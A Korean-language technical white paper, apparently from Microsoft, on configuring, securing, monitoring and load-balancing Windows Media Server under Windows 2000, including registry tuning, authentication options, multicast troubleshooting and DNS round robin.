관련 없는 서비스 사용 안함서버에서 사용하지 않는 서비스를 실행하는 경우가 많습니다. 보통 이들 서비스는 시스템이 부팅되면 자동으로 시작됩니다. 이러한 서비스의 한 예로 응용 프로그램에 대한 고객 라이센스가 현재 유효한 것인지 확인하는 라이센스 로깅을 들 수 있습니다. 서버가 스트리밍 미디어 배포 전용으로 사용된다면 이 서비스를 계속 실행해야 할 이유가 없습니다. 또 다른 예로 인쇄 스풀러를 들 수 있습니다. 서버를 스풀러로 사용하지 않는다면 스풀러를 끕니다. 또한 고성능을 위해 Microsoft 인터넷 정보 서비스(IIS)와 Windows Media 서비스를 같은 서버에서 실행해서는 안됩니다. 서버를 Windows Media Server 전용으로 만듭니다. 같은 시스템에서 IIS를 실행한다면 컨텐츠 인덱스 작성기와 FTP 서비스는 사용하지 않는 것이 좋습니다. 인덱스 작성기는 상당한 양의 메모리와 디스크 공간을 요구하며 FTP 서비스는 대개 사용되지 않습니다. 일반적으로 꼭 필요한 서비스가 무엇인지 판단하고 필요하지 않은 서비스는 모두 중단합니다.
레지스트리 키 설정서버에 많은 로드가 걸릴 때 서버의 성능을 개선하기 위해 값을 조정할 수 있는 레지스트리 키에는 두 가지가 있습니다. 키가 없는 경우 키를 추가하거나 설정을 수정하려면 레지스트리 편집기를 사용합니다.
MaxConnectionPerSecondKeyMaxConnectionPerSecond 레지스트리 키는 보류 중인 요청을 유지하는 대기열의 크기를 설정하여 서버가 처리할 수 있는 초당 클라이언트 연결 요청의 수를 제어합니다. 클라이언트 연결 요청의 처리에는 시스템 리소스(CPU 주기 및 메모리)가 사용되며 컴퓨터 하드웨어 구성에 따라 클라이언트로 전달되는 미디어 스트림의 품질과 서버 성능에 나쁜 영향을 미칠 수 있습니다.
연결 요청이 클라이언트에서 Windows Media Server로 보내지면 요청은 연결 대기열에 배치되어 차례대로 처리됩니다. 서버에 연결하려는 클라이언트 시도가 이러한 연결 요청 처리를 위한 연결 속도를 초과한다면 대기열이 가득 차게 됩니다. 초당 처리되는 클라이언트 연결 요청 수에 대한 기본값은 Windows Media Server에 대한 최소 시스템 요구사항을 충족하는 컴퓨터가 연결된 클라이언트에 전달되는 스트림의 품질에 영향을 주지 않으면서 초당 25개의 연결 요청을 처리할 수 있기 때문에 25로 설정됩니다. 대기열에 있는 클라이언트 연결 요청의 수에 대한 값은 초당 클라이언트 연결 수의 20배와 같거나 기본적으로 500입니다. Windows Media Player가 장애 조치(failover) URL을 사용하여 연결을 시도하기 전에 20초 동안 대기하도록 설정되기 때문에 이 값은 연결 속도의 20배로 설정됩니다. 대기열의 모든 요청은 20초의 대기 시간 내에 처리됩니다.
서버는 대기열에 있는 클라이언트 수를 유지합니다. 대기열에 최대 허용 수만큼의 요청이 배치되면 서버는 연결 요청을 수신하는 것을 중지합니다. 연결을 시도하는 클라이언트는 즉시 서버를 사용할 수 없다는 메시지를 받게 됩니다. 이러한 상황이 발생할 때마다 오류 코드 503으로 Windows Media 로그 항목이 작성됩니다. Microsoft Windows 2000 Server 응용 프로그램 이벤트 로그에도 Windows Media 서비스가 %1의 최대 보류 연결에 도달했다는 내용의 메시지가 나타납니다.그러나 서버가 수신을 중지하고 로그 입력이 지난 1분 동안 이루어지지 않은 경우에만 이 항목이 작성됩니다. 여기에서 %1은 변수이며 표시되는 숫자는 대기열의 크기입니다. 그런 다음 서버는 2.5초마다 대기열이 꽉 찼는지 검사합니다. 클라이언트가 처리되어 대기열에서 제거되면 서버는 다시 연결 요청을 수신하기 시작합니다.
다중 프로세서가 있으며 메모리의 양이 큰 컴퓨터를 사용한다면 컴퓨터는 더 많은 수의 연결을 처리할 수 있을 것입니다. 그러나 이 값의 증가를 결정하기 전에 Windows Media Load Simulator를 사용하여 컴퓨터의 CPU와 메모리를 세심하게 평가하는 것이 좋습니다.
서버 연결 속도를 사용자 정의 값으로 설정하려면 변경해야 할 각 Windows Media Server 시스템 레지스트리를 편집합니다. 연결 속도가 특정 하드웨어 구성에 대해 너무 높거나 너무 낮다면 레지스트리 키 HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Services nsunicast Parameters MaxConnectionsPerSecond를 사용자 정의 값으로 설정할 수 있습니다. 고성능 서버에서는 75, 심지어 100의 값을 사용할 수 있어야 합니다.
MaxUserPort기본적으로 아웃바운드 호출에 사용하기 위해 응용 프로그램이 시스템에서 소켓을 요청하는 경우, 시스템은 1024와 5000 사이의 값으로 포트를 공급합니다. MaxUserPort 매개 변수는 아웃바운드 연결에 사용할 수 있는 최상위 포트의 값을 설정합니다. Windows Media Server가 로드가 심한 상태에서 작동한다면 이 값을 올려야 할 것입니다. 이 값을 설정하려면 HKEY_LOCALMACHINE SYSTEM CurrentControlSet Services Tcpip Parameters를 탐색합니다. 아직 없다면 MaxUserPort 값을 추가하고 이 값을 0xFFFE로 설정합니다.
최신 NIC 드라이버 사용NIC 드라이브를 최신의 상태로 유지하는 것이 중요합니다. 드라이버를 구형 드라이버에서 최신 버전으로 업데이트하면 성능이 상당히 증가됩니다.
서버 포트 번호TCP/IP 기반 네트워크 컴퓨터에서 실행되는 응용 프로그램에는 포트 번호가 할당됩니다. 이 번호는 들어오는 데이터를 올바른 서비스에 연결합니다. 잘 알려진 포트는 모든 사람들이 사용하는 표준 포트 번호입니다. 예를 들어, 포트 80은 항상 HTTP 소통량(웹 소통량)에 사용됩니다. Windows Media Technologies는 다음과 같은 포트 번호를 사용합니다.
이러한 포트에서 소통량을 허용하도록 방화벽을 구성해야 할 수도 있습니다. 또한 잘 알려지지 않은 포트를 여는 것이 문제가 되는 사이트에 경우, Windows Media는 포트 80에서 HTTP를 통해 스트리밍할 수 있습니다.
포트 번호와 DCOMDCOM(Distributed COM)은 프로세스마다 하나의 포트를 동적으로 할당합니다. DCOM 프로세스에 할당할 포트의 수를 결정해야 합니다. 이 수는 방화벽을 통해 전달되는 동시적인 DCOM 프로세스 수와 같습니다. 또한 원격 프로시저 호출(RPC) 끝 점 매핑에 사용할 포트 135를 열어야 합니다. 또한 DCOM에서 예약된 포트를 알 수 있도록 레지스트리를 편집해야 합니다. 이러한 작업은 HKEY_LOCAL_MACHINES Software Microsoft Rpc Internet 레지스트리 키로 수행합니다. 이 키는 레지스트리 편집기를 사용하여 만들 수 있습니다.
아래의 예에서는 DCOM에게 포트 범위를 10포트로 제한할 것을 지시합니다.
Named Value: Ports Type: REG_MULTI_SZ Setting: 포트 범위. 다음과 같이 여러 행일 수 있습니다. 3001-3010 135 포트 번호, 방화벽 구성 및 DCOM에 대한 자세한 내용은 다음 웹 사이트를 참조하십시오.
http://www.microsoft.com/korea/Windows/windowsmedia/serve/firewall.asp
이 절에서는 Windows Media Server의 보안을 유지하고 컨텐트를 보호하는 방법을 설명합니다. 서버는 두 가지 인증 방법 중 하나를 사용하여 보안을 유지할 수 있습니다. 컨텐트는 Windows Media Rights Manager로 보호할 수 있습니다.
유니캐스트 전송으로 인증인증은 서버에 액세스하는 사용자의 신분을 확인하는 것을 의미합니다. 유니캐스트 전송은 클라이언트와 서버 사이에 지점간 연결이 존재하기 때문에 자동으로 인증됩니다. 클라이언트와 서버 사이에 직접 연결이 없는 멀티캐스트 전송은 여러 가지 문제를 발생시킵니다. 멀티캐스트 전송에 의한 인증은 이 백서의 뒷부분에서 설명합니다.
Windows Media Server에서는 다음과 같은 두 가지 인증 방법 중 하나를 사용할 수 있습니다.
이것은 Windows Media 관리자를 사용하여 서버 등록 정보 아래에서 선택합니다.
익명 인증이 옵션은 기본값인 인증을 선택하지 않음을 선택하여 선택됩니다. 네트워크 관리자는 익명 인증을 사용하여 익명 로그온 사용자 계정 이름을 지정하거나 Netshow Services라는 기본 사용자 이름을 받아들이고 계정의 암호를 입력합니다. 클라이언트의 웹 브라우저가 사용자 이름이나 암호를 제공하지 않고 URL을 요청한다면 서버는 익명 사용자 계정을 가장하고 리소스에 대한 액세스를 시도합니다.
익명 액세스를 사용하면 IT 관리자가 NetShowServices 사용자 이름을 받아들이지 않음으로써 특정 파일에 대한 액세스를 거부할 수 있습니다. 이렇게 하려면 파일에 대한 액세스 제어 목록(ACL)을 설정합니다. 이 백서의 뒷부분에 나오는 "액세스 제어 목록 사용" 절을 참조하십시오. 사용자가 익명으로 Windows Media 컨텐트에 액세스를 시도하고 NetShowServices 계정에 그 파일에 대한 읽기 권한이 없다면 사용자는 로그온해야 합니다. 로그온이 거부되면 파일에 대한 사용자 액세스가 거부됩니다.
기본 인증기본 인증을 사용하면 클라이언트는 일반 텍스트(암호화되지 않은) 사용자 이름과 암호를 입력해야 하며 사용자 이름과 암호는 Base64로 암호화되어 서버로 전달됩니다. 서버는 사용자 이름과 암호를 디렉터리 데이터베이스와 비교하고 사용자 이름과 암호가 정확한 경우에만 서버는 사용자를 가장하고 리소스에 대한 액세스를 시도합니다. 기본 인증은 계정 데이터베이스의 정보를 사용하거나 설치된 경우 Microsoft Site Server Membership 계정의 정보를 사용할 수 있습니다.
Base64 암호화는 암호화의 최소 형식입니다. 네트워크 소통량을 모니터링하는 사용자가 실제 사용자 이름과 암호를 볼 수 없더라도 암호 해독은 중요하지 않습니다. 소통량을 모니터링할 정도로 기술이 뛰어난 사람들은 거의 알고리즘을 연구하여 역 변환할 수 있어 웹 사이트 침입에 사용할 수 있는 일반 텍스트 사용자 이름과 암호를 알아낼 수 있습니다.
인증 패키지 적용인증 패키지를 적용하려면 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media를 눌러 Windows Media 관리자를 엽니다.
인증 패키지를 적용하려면
액세스 제어 목록 사용인증 패키지가 활성화되면 Windows Media Server를 사용하여 액세스 제어 목록(ACL) 사용 확인 확인란을 선택하여 액세스 제어 목록(ACL)을 사용할 수 있습니다. 액세스 제어 목록은 폴더나 파일에 대한 액세스 권한이 있는 사용자와 그룹을 지정하는 파일이나 폴더에 관련된 항목 목록입니다. ACL이 없으면 모든 파일과 폴더에 인증이 필요합니다. ACL이 있으면 개별 파일과 폴더에 사용자별 권한을 설정할 수 있습니다.
ACL의 각 항목은 파일에 대한 다음과 같은 액세스 수준 중 하나 이상을 사용자나 그룹에 할당합니다.
유사한 사용 권한을 폴더에 대해서 설정할 수 있습니다.
자세한 내용은 Windows Media 관리자 도움말 파일에서 "Restricting access to ASF Streams" 페이지를 참조하십시오.
Windows Media Rights Manager컨텐트 작성자는 디지털 권한 관리 응용 프로그램인 Windows Media Rights Manager를 사용하여 패키지화된 암호화 파일 형식으로 인터넷을 통해 노래, 비디오 및 기타 미디어를 배포할 수 있습니다. 최종 사용자는 Windows Media Player로 재생하기 위해 파일의 암호를 해독하는 키가 있는 별도의 라이센스가 필요합니다.
Windows Media Rights Manager는 강력한 디지털 권한 관리 암호화 스키마를 사용합니다. 모든 파일은 Windows 운영 체제를 실행하는 각 PC에 고유한 암호화 형식으로 저장되므로 라이센스 보호에 대한 침입이나 파일의 복사가 매우 어려워집니다. 이 Windows 기반 PC별 암호화 스키마는 고객이 부주의하게 파일 보호를 위반하지 않도록 보호합니다. 또한 의도적인 해킹 행위의 저지책 역할도 합니다. Windows Media Rights Manager에 대한 자세한 내용은 다음 웹 페이지를 참조하십시오.
http://www.microsoft.com/windows/windowsmedia/support.asp
클라이언트에 대한 정보를 로깅하고 서버 성능을 평가하고 모니터링하는 여러 방법이 있습니다. 이 절에서는 다음과 같은 항목에 대한 개요를 설명합니다.
이 도구들에는 모두 자세한 자체 도움말이 있습니다. 자세한 내용은 각 도움말 파일을 참조하십시오.
Windows Media 관리자 로그Windows Media 관리자는 이벤트에 대한 정보와 유티캐스트 게시 지점에 연결된 클라이언트에 대한 정보를 로깅할 수 있습니다. 멀티캐스트 문제에 대한 정보 로깅은 더 어려운 문제이므로 멀티캐스트의 절에서 설명하기로 합니다. 기본적으로 로깅을 사용하지 않습니다. 로깅을 사용하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media를 눌러 Windows Media 관리자를 엽니다. 왼쪽의 메뉴에서 서버 등록 정보를 누르고 게시 지점 로깅 탭을 누릅니다. 그림 7은 예제 화면을 나타낸 것입니다.
그림 7 유니캐스트 로깅 사용
게시 지점 이벤트 로그는 클라이언트 작동의 날짜, 시간 및 설명을 표시합니다. 그림 8은 이 로그의 예를 나타낸 것입니다.
그림 8 Load Simulator 게시 지점 이벤트
Windows Media 관리자 게시 지점 클라이언트 로그는 다음과 같은 정보를 표시합니다.
그림 9는 게시 지점 클라이언트 대화 상자의 예를 나타낸 것입니다.
그림 9 게시 지점 클라이언트 로그 예제
이 경우에 Windows Media Load Simulator와 다중 클라이언트를 시뮬레이트하는 단일 컴퓨터를 사용하여 데이터를 수집했기 때문에 클라이언트 IP 주소가 모든 인스턴스에서 동일합니다. 각 클라이언트에는 임의로 할당된 별도의 포트 번호가 있습니다.
로그 파일 항목은 선택한 기간 동안 또는 파일이 지정한 크기에 도달할 때까지 저장됩니다. 파일은 W3C 표준 형식으로 저장됩니다. 파일은 메모장에서 볼 수 있으며 Windows Media SDK에는 로그 구문 분석을 위한 Windows Scripting Host 스크립트 예제가 수록되어 있습니다. 또한 로그 읽기와 해석에 사용할 수 있는 여러 가지 다른 공급업체 제품이 있습니다. 그러한 제품을 공급하는 회사는 다음과 같습니다.
Windows 2000 운영 체제는 관리 도구의 일부로 특별히 Windows Media Technologies 성능과 관련된 통계를 표시하는 모니터를 포함합니다. 이 도구를 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media 성능을 누릅니다.
그림 10은 이 도구를 나타낸 것입니다.
그림 10 Windows Media 성능 도구
이 도구는 보다 일반적인 성능 모니터와 비슷하지만 스트리밍 미디어에 관련된 카운터가 포함됩니다. 저장된 주문형 컨텐트에 있어 특히 중요한 통계는 Late Reads 카운터입니다. 이 숫자는 0이여야 합니다. 0이 아니라면 디스크 응답이 저하되고 있으며 요구를 따라가지 못한다는 것을 의미합니다. Late Reads는 정지 이미지와 웹 페이지 같은 정적 데이터 서비스를 제공할 때는 거의 문제가 되지 않지만 실시간 멀티미디어 컨텐트 서비스를 제공할 때는 데이터를 즉시 사용할 수 있어야 합니다.
Windows Media Load Simulator는 Windows 2000 리소스 키트에 포함됩니다. 또는 다음 웹 사이트에서 다운로드할 수도 있습니다.
http://www.microsoft.com/windows/windowsmedia/download/default.asp
이것은 클라이언트 시스템에서 실행되며 많은 수의 Windows Media Player 연결을 시뮬레이트하여 Windows Media Server에 대한 Windows Media 유니캐스트 서비스의 용량을 테스트합니다. 최고 로드와 스트레스에서 오프라인 서버를 모두 테스트합니다. 최고 로드는 정상적인 조건에서 최대 수의 클라이언트가 시스템을 사용하는 것 입니다. 스트레스 테스팅은 최고 로드 이상으로 클라이언트 수를 천천히 증가시키면서 수행합니다.
또한 Load Simulator는 온라인 Windows Media Server를 모니터링할 수 있으며 서버 성능이 저하되기 시작하거나 서버가 응답을 중지할 경우에 자동으로 관리자에게 알리도록 구성할 수 있습니다. 그림 11은 Load Simulator의 한 예를 나타낸 것입니다.
그림 11 Windows Media Load Simulator
다음과 같은 로그에는 Load Simulator를 사용하여 실행한 테스트 결과의 해석에 도움이 되는 정보가 수록됩니다.
또한 Windows Media 성능 모니터에는 Simulator와 함께 사용할 수 있는 정보가 수록됩니다. Load Simulator에 대한 자세한 내용은 다음 웹 사이트에서 "Checking Server Performance with Microsoft Windows Media Load Simulator" 기사를 참조하십시오.
멀티캐스팅은 데이터를 사용자 그룹으로 전송하는 일대다 형식의 전송입니다. 멀티캐스팅은 파일이 마지막 홉까지 단일 데이터 스트림으로 전송되기 때문에 네트워크 대역폭이 적게 사용됩니다. 이 경우 개별 스트림은 경로의 끝에 있는 라우터에 의해 대상 스테이션으로 전송됩니다.
Windows Media Technologies가 사용하는 용어 중 특히 멀티캐스트 세션에 적용되는 용어가 있습니다. 멀티캐스트를 사용하는 방법과 멀티캐스트 세션 문제 해결 방법을 설명하기 전에 이들 용어를 설명할 것입니다.
Windows Media Technologies 멀티캐스트 용어의 이해멀티캐스트 전송을 설정할 때 사용되는 용어에는 스테이션, 프로그램 및 스트림의 3가지가 있습니다.
스테이션은 멀티캐스트 전송을 통한 컨텐트 배포에 사용되며 게시 지점은 유니캐스트 전송에 사용됩니다. 스테이션은 텔레비전 방송국과 비슷합니다. 스테이션은 프로그램이라고 하는 컨텐트를 배포하며 프로그램은 보통 몇 가지 스트림으로 구성됩니다. 예를 들어, 프로그램은 중간에 광고가 삽입된 비디오 클립을 사용할 수도 있습니다. 멀티캐스트를 사용하고 멀티캐스트 스테이션을 만드는 방법에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
스테이션의 정의스테이션은 .nsc 파일로 정의됩니다. 이 파일은 멀티캐스트 전송의 가입에 필요한 IP 주소, 포트 번호 및 필요한 CODEC과 같은 모든 정보가 수록된 구성 파일입니다. Windows Media Server는 멀티캐스트 스테이션을 구성할 때 입력된 정보에서 .nsc 파일을 만듭니다.
사용자는 프로그램이 시작할 때 멀티캐스트 전송에 꼭 가입할 필요가 없으므로 .nsc 파일이 필요합니다. 사용자는 언제라도 멀티캐스트 그룹의 구성원이 될 수 있습니다. 즉, Windows Media Player는 전송에 대한 정보가 수록된 헤더 패킷이 없어도 즉시 스트리밍 데이터를 받기 시작합니다. Windows Media Player는 .nsc 파일을 사용하여 이 정보를 가져옵니다.
보통 관리자는 그룹에 가입할 수 있는 사용자에게 전자 메일로 전송하거나 웹 사이트에 게시하여 이 파일을 사용하게 만듭니다. 즉, Windows Media Server가 파일을 만드는 경우에도 Windows Media Server는 이 파일을 배포하지 않습니다. 관리자는 .nsc 파일의 배포를 제어함으로써 권한이 없는 사용자가 전송을 수신하는 것을 방지할 수 있습니다. 예를 들어, 관리자는 웹 사이트에 파일을 게시하여 정보에 대한 액세스를 허가하기 전에 인증을 요구할 수 있습니다.
.nsc 파일은 인코더 구성이 들어 있는 .asd 파일의 이름을 포함할 수 있습니다. 템플릿에서 Windows Media 인코더 기본값을 사용하지 않았다면 멀티캐스트 스테이션을 만들 때 이 파일을 지정해야 합니다. 기본값을 변경했다면 .asd 파일을 저장하고 서버에 복사한 다음 멀티캐스트 전송을 구성할 때 이 파일을 지정합니다. 스트림 형식 정보 지정 대화 상자에서 이러한 작업을 수행합니다. Windows Media 관리자는 정보를 .nsc 파일에 저장합니다.
멀티캐스트 스테이션 구성이 절에서는 멀티캐스트 세션을 위한 스테이션 구성 과정을 설명합니다.
멀티캐스트 세션을 위한 스테이션의 정의
사용자 정보 로깅멀티캐스트를 사용하면 서버와 사용자 사이에 직접적인 통신이 없습니다. 따라서 수신하는 사용자와 특정 클라이언트에 대한 네트워크 연결의 품질에 대한 정보를 수집하기 어렵습니다. 이 문제를 해결하기 위해 Windows Media Player에는 멀티캐스트 전송을 위한 로깅 기능이 포함됩니다. 이들은 IIS Service에서 실행되는 Nsiislog.dll이라는 ISAPI DLL로서 구현됩니다. 아래의 단계대로 수행하여 로깅을 사용합니다. 기본값은 사용 안함입니다.
로깅 사용에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
보통 통계는 전송 품질, 컨텐트 정보 및 클라이언트 정보의 세 가지 범주에 속합니다. 전송 품질 통계의 예는 다음과 같습니다.
컨텐트 정보의 예에는 다음이 포함됩니다.
포함된 URL은 포함된 Windows Media Player가 들어 있는 웹 페이지의 URL입니다. 이 URL을 알면 컨텐트를 사용하는 사용자를 알 수 있습니다.
클라이언트 정보의 예에는 다음이 포함됩니다.
기타 멀티캐스트 사용멀티캐스트는 .asf 파일 이외의 파일 배포에 사용할 수 있습니다. 데이터의 단일 스트림을 다중 사용자에게 전송해야 할 경우에는 멀티캐스트를 대역폭 절약의 한 방법으로 고려해야 합니다. 이 경우 네트워크가 멀티캐스트를 지원할 수 있다고 가정합니다. 예를 들어, 네트워크가 단일 LAN으로 구성된 경우 또는 라우터와 같은 네트워크 장치가 멀티캐스트를 지원하는 경우가 그러합니다. 보통 Windows Media Technologies 멀티캐스트는 네트워크를 통해 Microsoft PowerPoint 프레젠테이션을 전송하는데 사용되지만 다른 종류의 파일이나 파일 디렉터리에도 사용할 수 있습니다. 멀티캐스트 파일 전송을 구성하려면 Windows Media 관리자가 표시하는 멀티캐스트 파일 전송 옵션을 선택합니다. 설정할 수 있는 매개 변수에는 다음을 포함하여 여러 가지가 있습니다.
자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
멀티캐스트 전송 문제 해결멀티캐스트 세션의 문제 해결을 위한 전체 지침은 이 백서의 범위를 벗어나는 것이지만 이 절에 작업을 쉽게 할 수 있는 몇 가지 제안이 포함됩니다. 또한 이 백서에서는 설명하지 않았지만 멀티캐스트에서처럼 유니캐스트에도 비슷한 통계가 있습니다. 로깅 기능에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
파일 검사먼저 asx 및 .nsc 파일에 액세스할 수 있고 파일에 오류가 없는지 확인합니다. 이 파일이 없으면 클라이언트는 멀티캐스트에 가입할 수 없습니다. 인코더를 위한 기본 템플릿이 사용되지 않거나 변경된 값이 있으면 .asd 파일을 지정해야 한다는 것을 기억하십시오. 멀티캐스트를 구성한 후 인코더가 변경되었다면 이 파일을 다시 지정하여 .nsc 파일을 최신 상태로 유지해야 합니다. 멀티캐스트를 구성한 후 서버 구성이 변경된 경우 .nsc 파일을 다시 내보냅니다. 이렇게 하려면 Windows Media 관리자의 멀티캐스트 스테이션을 선택한 다음 내보내기를 선택합니다.
통계 검사전송 중에 Windows Media Player를 사용하여 통계를 검사합니다. 이 작업을 하려면 Windows Media Player에서 마우스 오른쪽 단추를 누르고 통계를 누릅니다. 그림 26은 예제 화면을 나타낸 것입니다.
그림 26 Windows Media Player 통계
프로토콜이 멀티캐스트로 설정되었는지 확인합니다. 복구된 패킷과 손실된 패킷을 검사하여 데이터가 손실되는지 확인합니다. 복구된 패킷 카운트가 증가한다면 Windows Media Player가 손실된 패킷을 다시 구성하고 있는 것입니다. 이것은 네트워크에 문제가 있다는 표시일 수 있습니다. 이들 통계는 유니캐스트 브로드캐스트에서도 사용할 수 있습니다.
멀티캐스트 세션을 구성할 때 로깅을 사용한다면 세션이 종료된 후에 Nsiislog.dll 로그를 사용하여 더 많은 정보를 얻을 수 있습니다. 문제가 있는 단일 세그먼트에 얼마나 많은 사용자가 있는지 등의 경향을 확인합니다.
IGMP 버전의 지속적인 추적여러 가지 버전의 Windows 운영 체제에서 클라이언트가 멀티캐스트 세션에 가입하기 위해 사용하는 여러 가지 버전의 인터넷 그룹 관리 프로토콜(IGMP)을 구현한다는 것에 주의하십시오. 아래의 표에 Windows 버전에 따른 IGMP 버전이 요약되어 있습니다.
문제 확인단일 LAN을 통해 멀티캐스팅하지 않는 한 대개 멀티캐스팅은 다중 서브넷과 라우터를 포함합니다. 서버가 네트워크를 통해 홉 단위로 상주하고 이동하는 세그먼트에서 시작하여 문제를 확인합니다. 또한 TTL(Time-To-Live) 값이 패킷이 통과해야 하는 각 홉을 통해 패킷을 얻을 수 있을 만큼 큰지 확인합니다. 기본적으로 TTL은 홉의 수와 같아야 합니다. 이 숫자가 너무 낮으면 패킷은 네트워크 가장자리에 도달하기 전에 무시됩니다. 기본값은 5입니다. 홉의 숫자를 설정하려면 서버 구성을 누른 다음 편집할 스테이션을 누릅니다. 그림 27과 같이 서버 구성 – 스테이션 편집 대화 상자가 열립니다.
그림 27 TTL 매개 변수 변경
TTL 항목을 더 큰 값으로 변경합니다.
마지막으로 네트워크의 일부 세그먼트에 대한 전송을 차단하고 있을 수 있는 방화벽이나 비 멀티캐스트 사용 장치를 찾습니다. 패킷이 통과해야 하는 라우터나 스위치가 멀티캐스트를 이해하지 못한다면 패킷이 손실됩니다. 또한 앞에서 설명한 것처럼 많은 방화벽은 멀티캐스트 전송에 사용되는 전송인 UDP 패킷을 통과시키지 않습니다.
네트워크 문제 조사에 사용할 수 있는 많은 다른 공급업체의 모니터링 도구가 있으며 Windows 2000 운영 체제에도 몇 가지 유틸리티가 있습니다. 여기서는 네트워크 모니터와 tracert 유틸리티의 두 가지 도구를 간략하게 설명할 것입니다.
네트워크 모니터System Management Server와 같이 사용할 수 있으며 Windows 2000 Server의 생략 버전인 네트워크 모니터를 사용하면 네트워크에서 패킷을 볼 수 있습니다. 네트워크 모니터를 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 네트워크 모니터를 누릅니다.
네트워크 모니터는 그림 28과 같습니다.
그림 28 네트워크 모니터
네트워크 모니터는 캡처하는 호스트의 NIC를 promiscuous 모드로 만들어 회선에서 볼 수 있는 모든 프레임을 추적 도구로 전달합니다. 캡처 필터는 분석을 위해 특정 프레임만 저장되도록 정의할 수 있습니다. 원본과 대상 NIC 주소, 원본과 대상 프로토콜 주소 및 패턴 일치에 기반하여 이 필터를 구성할 수 있습니다. 캡처를 구하면 디스플레이 필터를 사용하여 문제의 원인을 좁혀나갈 수 있습니다. 디스플레이 필터를 사용하면 특정 프로토콜도 선택할 수 있습니다. 네트워크 모니터 사용에 대한 자세한 내용은 도움말 파일을 참조하십시오.
Tracert 유틸리티tracert 유틸리티는 원하는 대상 컴퓨터의 IP 주소로 패킷 그룹을 계속 보내 작동합니다. 예를 들어, 시스템에서 whitehouse.gov까지의 경로를 추적하려면 tracert whitehouse.gov를 입력합니다. 경로를 따른 각 라우터는 추적을 시작한 시스템으로 정보를 반환하여 패킷을 수신한 시스템의 IP 주소와 각 패킷의 왕복 시간(밀리초)을 사용자에게 보여줍니다. 추적이 완료되면 패킷이 원본에서 대상으로 이동하기 위해 필요한 홉 수와 각 홉에 걸리는 시간을 알 수 있습니다.
tracert 작동의 중요한 구성 요소는 패킷의 TTL(Time-To-Live) 값입니다. Tracert는 증가하는 TTL 값으로 세 패킷 그룹을 연속적으로 보냅니다. 경로를 따라 각 라우터는 TTL 값을 1씩 줄인 후에 경로를 따라 다음 라우터로 전달합니다. 첫 번째 패킷 그룹은 1의 TTL로 보내집니다. 첫 번째 홉의 라우터는 값을 0으로 줄여 패킷을 만료시키고 만료 정보를 원래 시스템으로 다시 전송합니다. 그 다음 두 번째 그룹은 만료 정보를 먼저 반환하지 않고 두 번째 라우터로 2의 TTL과 함께 보내집니다. 이 과정은 최대 TTL 값에 도달하거나 대상 컴퓨터가 패킷을 수신할 때까지 계속됩니다. tracert 유틸리티는 최대 30의 기본 TTL 값이 갖습니다. 즉, 처음 30개의 홉을 보고할 수 있습니다. -h 옵션을 사용하여 이 값을 늘릴 수 있습니다. 옵션 목록을 보려면 명령줄에서 tracert만 입력합니다.
그림 23은 tracert 세션의 예를 나타낸 것입니다.
그림 29 tracert 세션 예
다음은 경험에 따른 응답 시간입니다.
tracert에 대한 자세한 내용은 Windows 2000 도움말 파일을 참조하십시오.
로드 균형 조정은 처리 로드를 서버 배열을 통해 분산하므로 어떤 서버에도 로드가 집중되지 않습니다. 또한 장애 조치(failover) 기능도 제공하여 오류가 발생한 서버의 로드를 제 기능을 발휘하는 서버로 전환할 수 있습니다. 로드 균형 조정을 구현하는 방법에는 다음과 같은 몇 가지가 있습니다.
DNS 라운드 로빈DNS 라운드 로빈 방법은 단일 IP 주소가 아닌 IP 주소 전체 목록으로 DNS 쿼리에 응답하여 작동합니다. 쿼리를 수행하는 Windows Media Player는 보통 첫째 IP 주소를 선택하고 연결 시간에 대해 그 서버를 참조합니다. 동일한 IP 주소가 반복하여 선택되지 않도록 목록이 순환하여 매번 목록의 상단에 다른 IP 주소가 나타나게 만듭니다.
예를 들어, 이름과 IP 주소가 다음과 같은 세 개의 서버가 있다고 가정합니다.
클라이언트 요청이 라운드 로빈을 통해 순환되도록 서버를 설정하면 다중 A 레코드를 사용합니다. 이들 DNS 레코드는 호스트를 IP 주소로 매핑합니다. 이 예에서 사이트에 액세스하는 모든 클라이언트가 example.microsoft.com이라는 이름을 사용하길 원하지만 그러한 요청을 3개의 서버에서 공유하는 상황을 가정해 봅니다. A 레코드를 다음과 같이 설정합니다.
앞에 붙은 슬래시가 없는 디렉터리 이름이 대개 현재 디렉터리에 상대적으로 해석되는 것처럼 뒤에 붙은 마침표가 없는 이름은 때로 루트 이외의 도메인에 상대적으로 해석되기 때문에 각 A 레코드에서 example.microsoft.com 이름 끝에는 마침표가 필수적입니다. 끝에 붙는 마침표는 도메인 이름이 절대값이라는 것을 나타냅니다. 즉, 루트에 상대적으로 작성된 것을 의미합니다. 이 예에서 TTL 필드는 이름 서버가 60초 후에 이름 캐시에서 이들 항목을 제거하도록 지시합니다. 이로서 라운드 로빈을 지원하지 않는 중간 이름 서버에서 레코드가 오랫동안 캐시되지 않도록 보장할 수 있습니다.
DNS 라운드 로빈의 이점과 제한DNS 라운드 로빈의 주요 이점은 단순하고 자유롭다는 것입니다. 소수의 레코드를 추가하여 실제로 요청이 풀의 모든 호스트 사이에서 순환할 때 서버의 풀이 단일 서버로 작동하는 것처럼 보이게 할 수 있습니다. 첫 번째 제한은 라운드 로빈이 실제로는 로드 공유 기술도 아니고 로드 균형 조정 기술도 아니라는 것입니다. 실제 로드 균형 조정 솔루션은 서버에서 로드를 측정하고 클라이언트 요청을 보낼 위치를 결정하여 작업을 균등하게 분산합니다. 라운드 로빈은 어떤 방식으로도 서버 로드를 측정하지 않습니다. 서버의 성능에 관계 없이 단순히 클라이언트 요청을 다중 호스트 사이에서 대체할 뿐입니다. 하나 이상의 호스트에는 다른 호스트보다 많은 작동을 하려는 경향이 있습니다. 두 번째 제한은 서버 중 하나가 가동 중단되어도 클라이언트의 요청이 이 IP 주소로 전송되어 이들 클라이언트가 적절한 응답을 수신하지 못한다는 것입니다.
